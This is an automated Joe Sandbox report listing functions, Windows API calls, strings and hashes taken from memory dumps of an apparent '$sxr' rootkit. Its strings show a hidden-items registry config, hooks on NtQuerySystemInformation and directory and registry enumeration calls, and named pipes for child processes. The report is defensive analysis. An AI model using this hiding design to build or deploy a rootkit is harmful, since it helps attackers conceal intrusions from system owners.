Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction ID: 8304a4c6edba32c3401fe522ad5f546774d80d5d64c59d086dbdca545ec73518
Opcode Fuzzy Hash: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction Fuzzy Hash: 86316B72201F81CAEB609F61E8607EE7362F784744F44442ADB5E87B99EF38C64AC710

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7B5AC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F5FDC7B625
RtlLookupFunctionEntry.NTDLL ref: 000001F5FDC7B63D
RtlVirtualUnwind.NTDLL ref: 000001F5FDC7B678
IsDebuggerPresent.KERNEL32 ref: 000001F5FDC7B6B1
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F5FDC7B6BB
UnhandledExceptionFilter.KERNEL32 ref: 000001F5FDC7B6C6

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction ID: 1fa746262079cc6d0ec37ccfccfb9d7a6af191b68b1a800f0a9a8e7d54888f57
Opcode Fuzzy Hash: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction Fuzzy Hash: 22319E32214F8196EB60DF25E8507EE73A6F788794F540526EBAD43BA9DF38C146CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7FF98 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F5FDC80007
WriteFile.KERNEL32 ref: 000001F5FDC802BE
WriteFile.KERNEL32 ref: 000001F5FDC80310
GetLastError.KERNEL32 ref: 000001F5FDC80412
GetLastError.KERNEL32 ref: 000001F5FDC80472

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction ID: 75276441b27674de1942e2cb8de842e70413a46d521c01197d1fa73f3824c401
Opcode Fuzzy Hash: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction Fuzzy Hash: 90E12072B04E818AE710CF64D0A06EE7BB2F344798F154166EF6A57BD9DA38C41BE700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC4B0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F5FDC4B100

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000001F5FDC4B483
*?, xrefs: 000001F5FDC4B127

Memory Dump Source

Source File: 00000013.00000002.3430519783.000001F5FDC40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F5FDC40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc40000_$sxr-powershell.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 697b751569ece7ce55378409b6cefcda17a8125b5cfb8212c3dbe7c076d5a716
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 0B51DF72B10F9685EF25DFA698206FD27A3FB5ABD8F544535DF2907B85EA38C0428300

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC71650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F5FDC7165B
HeapAlloc.KERNEL32 ref: 000001F5FDC7166A

Part of subcall function 000001F5FDC71274: GetProcessHeap.KERNEL32 ref: 000001F5FDC7127A
Part of subcall function 000001F5FDC71274: HeapAlloc.KERNEL32 ref: 000001F5FDC71289
Part of subcall function 000001F5FDC71274: GetProcessHeap.KERNEL32 ref: 000001F5FDC712A3
Part of subcall function 000001F5FDC71274: HeapAlloc.KERNEL32 ref: 000001F5FDC712B4

RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC716DA
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC71707
RegCloseKey.ADVAPI32 ref: 000001F5FDC71721
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC71741
RegCloseKey.ADVAPI32 ref: 000001F5FDC7175C
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC7177C
RegCloseKey.ADVAPI32 ref: 000001F5FDC71797
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC717B7
RegCloseKey.ADVAPI32 ref: 000001F5FDC717D2
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC717F2
RegCloseKey.ADVAPI32 ref: 000001F5FDC7180D
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC7182D
RegCloseKey.ADVAPI32 ref: 000001F5FDC71848
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC71868
RegCloseKey.ADVAPI32 ref: 000001F5FDC71883
RegOpenKeyExW.ADVAPI32 ref: 000001F5FDC718A3
RegCloseKey.ADVAPI32 ref: 000001F5FDC718BE
RegCloseKey.ADVAPI32 ref: 000001F5FDC718C8

Part of subcall function 000001F5FDC712C8: RegQueryInfoKeyW.ADVAPI32 ref: 000001F5FDC71326
Part of subcall function 000001F5FDC712C8: GetProcessHeap.KERNEL32 ref: 000001F5FDC71334
Part of subcall function 000001F5FDC712C8: HeapAlloc.KERNEL32 ref: 000001F5FDC71345
Part of subcall function 000001F5FDC712C8: RegEnumValueW.ADVAPI32 ref: 000001F5FDC713A1
Part of subcall function 000001F5FDC712C8: GetProcessHeap.KERNEL32 ref: 000001F5FDC713E9
Part of subcall function 000001F5FDC712C8: HeapAlloc.KERNEL32 ref: 000001F5FDC713F7
Part of subcall function 000001F5FDC712C8: GetProcessHeap.KERNEL32 ref: 000001F5FDC7141B
Part of subcall function 000001F5FDC712C8: HeapFree.KERNEL32 ref: 000001F5FDC71429
Part of subcall function 000001F5FDC712C8: lstrlenW.KERNEL32 ref: 000001F5FDC71432
Part of subcall function 000001F5FDC712C8: GetProcessHeap.KERNEL32 ref: 000001F5FDC71440
Part of subcall function 000001F5FDC712C8: HeapAlloc.KERNEL32 ref: 000001F5FDC7144E

Strings

startup, xrefs: 000001F5FDC716FD
tcp_local, xrefs: 000001F5FDC71826
tcp_remote, xrefs: 000001F5FDC71861
service_names, xrefs: 000001F5FDC717EB
SOFTWARE\$sxrconfig, xrefs: 000001F5FDC716BA
pid, xrefs: 000001F5FDC7173A
paths, xrefs: 000001F5FDC717B0
process_names, xrefs: 000001F5FDC71775
udp, xrefs: 000001F5FDC7189C

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: 65a6f1e83847eef1752310cdbdc9ed6844bc014c61e642bb0cea641e464dfee2
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: E9710A36310E52C5EB50AF66E860AEA27A6F784F88F042561DF6D97B28DF38C446C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC71EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72
librarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000001F5FDC71EBD
GetCurrentThread.KERNEL32 ref: 000001F5FDC71EC8

Part of subcall function 000001F5FDC721C0: GetModuleHandleA.KERNEL32 ref: 000001F5FDC721D8
Part of subcall function 000001F5FDC721C0: GetProcAddress.KERNEL32 ref: 000001F5FDC721E9

Part of subcall function 000001F5FDC75CB0: GetCurrentThreadId.KERNEL32 ref: 000001F5FDC75CEB

Strings

NtEnumerateKey, xrefs: 000001F5FDC71F62
Sysprep_Clean_Validate_Opk, xrefs: 000001F5FDC72019
NtEnumerateValueKey, xrefs: 000001F5FDC71F7F
EnumServicesStatusExW, xrefs: 000001F5FDC71FBA, 000001F5FDC71FDB
NtQueryDirectoryFileEx, xrefs: 000001F5FDC71F45
NtQuerySystemInformation, xrefs: 000001F5FDC71EEE
NtResumeThread, xrefs: 000001F5FDC71F0B
NtDeviceIoControlFile, xrefs: 000001F5FDC71FFF
EnumServiceGroupW, xrefs: 000001F5FDC71F99
sechost.dll, xrefs: 000001F5FDC71FE2
ntdll.dll, xrefs: 000001F5FDC71ED6
NtQueryDirectoryFile, xrefs: 000001F5FDC71F28
advapi32.dll, xrefs: 000001F5FDC71FA0, 000001F5FDC71FC1
spopk.dll, xrefs: 000001F5FDC71EB6, 000001F5FDC72020

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: 4ff74bd60b9250bcf7d07826844fa36db308513573845b04650096b259c1e8fe
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction Fuzzy Hash: 9C41CE74612E4BE1FB80EB64E871AF66327B704344F8148B3972953572AE79868BC360

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC712C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F5FDC71326
GetProcessHeap.KERNEL32 ref: 000001F5FDC71334
HeapAlloc.KERNEL32 ref: 000001F5FDC71345
RegEnumValueW.ADVAPI32 ref: 000001F5FDC713A1

Part of subcall function 000001F5FDC71554: StrCmpIW.SHLWAPI ref: 000001F5FDC71585

GetProcessHeap.KERNEL32 ref: 000001F5FDC713E9
HeapAlloc.KERNEL32 ref: 000001F5FDC713F7
GetProcessHeap.KERNEL32 ref: 000001F5FDC7141B
HeapFree.KERNEL32 ref: 000001F5FDC71429
lstrlenW.KERNEL32 ref: 000001F5FDC71432
GetProcessHeap.KERNEL32 ref: 000001F5FDC71440
HeapAlloc.KERNEL32 ref: 000001F5FDC7144E
StrCpyW.SHLWAPI ref: 000001F5FDC71470
GetProcessHeap.KERNEL32 ref: 000001F5FDC71485
HeapFree.KERNEL32 ref: 000001F5FDC71493

Strings

d, xrefs: 000001F5FDC71365

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction ID: 3f1e02b84af7309447acf28633592ac15a40043614a76fdfa8a67f72611c810a
Opcode Fuzzy Hash: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction Fuzzy Hash: C9516972204F85D3EB54DF62E4587AAB3A2F789F81F489134DBA947B18DF38C0568B00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC72444 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F5FDC72459
GetCurrentProcessId.KERNEL32 ref: 000001F5FDC72463

Part of subcall function 000001F5FDC719AC: OpenProcess.KERNEL32 ref: 000001F5FDC719CA
Part of subcall function 000001F5FDC719AC: IsWow64Process.KERNEL32 ref: 000001F5FDC719E0
Part of subcall function 000001F5FDC719AC: CloseHandle.KERNEL32 ref: 000001F5FDC719FB

CreateFileW.KERNEL32 ref: 000001F5FDC724BC
WriteFile.KERNEL32 ref: 000001F5FDC724E4
ReadFile.KERNEL32 ref: 000001F5FDC72503
CloseHandle.KERNEL32 ref: 000001F5FDC7250C

Strings

\\.\pipe\$sxrchildproc38764243a64, xrefs: 000001F5FDC7248C
\\.\pipe\$sxrchildproc34226543a32, xrefs: 000001F5FDC72493

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\$sxrchildproc34226543a32$\\.\pipe\$sxrchildproc38764243a64
API String ID: 2171963597-1213686612
Opcode ID: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction ID: 55eecf24245fc035bbc424791ec3d5224a51302c291f928e9bdfd5dfacb10899
Opcode Fuzzy Hash: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction Fuzzy Hash: 77214136614B41C3FB509B25F4647AA73A2F389B94F541265DB6943BA8DF3CC14ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F5FDC710AB
RegEnumValueW.ADVAPI32 ref: 000001F5FDC7110E
GetProcessHeap.KERNEL32 ref: 000001F5FDC71155
HeapAlloc.KERNEL32 ref: 000001F5FDC71163
GetProcessHeap.KERNEL32 ref: 000001F5FDC71187
HeapFree.KERNEL32 ref: 000001F5FDC71195

Strings

d, xrefs: 000001F5FDC710CE

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction ID: 3a9e7704764545e71621862a6ef60caa6c7505eba9176ba2b1cba4605337d2a0
Opcode Fuzzy Hash: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction Fuzzy Hash: 90417D33214B81D7E7608F62E4547EAB7A2F389B84F048529DB994BB58DF38D566CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC46A90 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F5FDC46AB8
__scrt_acquire_startup_lock.LIBCMT ref: 000001F5FDC46B0A
_RTC_Initialize.LIBCMT ref: 000001F5FDC46B38
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F5FDC46B5E
__scrt_release_startup_lock.LIBCMT ref: 000001F5FDC46B89

Memory Dump Source

Source File: 00000013.00000002.3430519783.000001F5FDC40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F5FDC40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc40000_$sxr-powershell.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 1f36a158701bbfe40222895257e19fca7e1ac23139e400764aef04e4f20ddcd5
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 3E81DF31640E4386FB60AB2698753F967E3EB47780F1484B5ABA5477DADF38C8478700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC77690 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F5FDC776B8
__scrt_acquire_startup_lock.LIBCMT ref: 000001F5FDC7770A
_RTC_Initialize.LIBCMT ref: 000001F5FDC77738
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F5FDC7775E
__scrt_release_startup_lock.LIBCMT ref: 000001F5FDC77789

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 3d1bbe71671d3319355dd47024fef41ac771f7d71745d618a8852743487ddcfc
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 34818F31600E4BC9FB90AB6798617FA3693AB85780F184CB59F35877D6DA38C8478710

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC798A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F5FDC79929
GetLastError.KERNEL32 ref: 000001F5FDC79937
LoadLibraryExW.KERNEL32 ref: 000001F5FDC79961
FreeLibrary.KERNEL32 ref: 000001F5FDC799A7
GetProcAddress.KERNEL32 ref: 000001F5FDC799B3

Strings

api-ms-, xrefs: 000001F5FDC79949

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction ID: 35dfc3aa32dcf8db111c876c6fee45bf4b9fa8742d396846833a13a3022944b0
Opcode Fuzzy Hash: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction Fuzzy Hash: 7A319231212E53E1FF519B12E820BF96296B745BA0F590975EE3D47394EF38C4478300

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC81C3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F5FDC81C6D
GetLastError.KERNEL32 ref: 000001F5FDC81C79
CloseHandle.KERNEL32 ref: 000001F5FDC81C91
CreateFileW.KERNEL32 ref: 000001F5FDC81CBC
WriteConsoleW.KERNEL32 ref: 000001F5FDC81CDB

Strings

CONOUT$, xrefs: 000001F5FDC81C9D

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction ID: 432beadd9ff1d5570b399878e757b42c23d043d2f6db8019e472038e20c33c6f
Opcode Fuzzy Hash: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction Fuzzy Hash: D011BF32310F8186E7509B42E864BAA67A1F388FE5F140274EB2EC7794DF38C806C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC75CB0 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F5FDC75CEB
GetThreadContext.KERNEL32 ref: 000001F5FDC75E55

Part of subcall function 000001F5FDC75AE0: GetCurrentThreadId.KERNEL32 ref: 000001F5FDC75AE4

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction ID: c5e34cd1c125c6e3b3952a4bc3e1c7ca60fc8859c728c7a08bed4d9d710644c7
Opcode Fuzzy Hash: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction Fuzzy Hash: 33D19D76218F89C5DB709B1AE4A43AA77A1F788B84F100566EBDD47BA5DF3CC542CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC73150 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5FDC73173
HeapAlloc.KERNEL32 ref: 000001F5FDC73186
StrCmpNIW.SHLWAPI ref: 000001F5FDC73201
GetProcessHeap.KERNEL32 ref: 000001F5FDC73267
HeapFree.KERNEL32 ref: 000001F5FDC73275

Strings

$sxr, xrefs: 000001F5FDC731FA

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $sxr
API String ID: 756756679-21942930
Opcode ID: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction ID: 38f1a088196fad05eee4c8cd52b530c1386e8c9ab981e9f75925f19e634fcf8c
Opcode Fuzzy Hash: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction Fuzzy Hash: 8831B032701F52C2E791EF56E4607B963A2FB44B80F088470DF6843B55EB38C4638700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC71A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F5FDC71A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000001F5FDC71A58
PathFindFileNameW.SHLWAPI ref: 000001F5FDC71A67
lstrlenW.KERNEL32 ref: 000001F5FDC71A73
StrCpyW.SHLWAPI ref: 000001F5FDC71A86
CloseHandle.KERNEL32 ref: 000001F5FDC71A94

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction ID: c30b3fdf4ce522d273f9f26ba1b90f5b9a4c16ed02a59b89c02ac7fee96110a0
Opcode Fuzzy Hash: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction Fuzzy Hash: B6016D31700F8296EB50EB12E4687AA63A2F788FD0F585474DFA983754DF3CC9868740

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC73844 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F5FDC73860
GetCurrentProcess.KERNEL32 ref: 000001F5FDC7386E
VirtualProtectEx.KERNEL32 ref: 000001F5FDC73890
GetCurrentProcess.KERNEL32 ref: 000001F5FDC738B1
VirtualProtectEx.KERNEL32 ref: 000001F5FDC738D2
TerminateThread.KERNEL32 ref: 000001F5FDC738E1

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction ID: b4067fa64353e4a98cf70d8bcfaf437134e86d8ca300ac8ae150644a48af0506
Opcode Fuzzy Hash: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction Fuzzy Hash: DA116D75711F4282FB20AB21E469BBA62A6FB49B81F0804B5CF6947354EF3DC00AC700

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC79178 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F5FDC791A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F5FDC79238
RtlUnwindEx.NTDLL ref: 000001F5FDC79287

Strings

csm, xrefs: 000001F5FDC7921E
f, xrefs: 000001F5FDC791B6

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

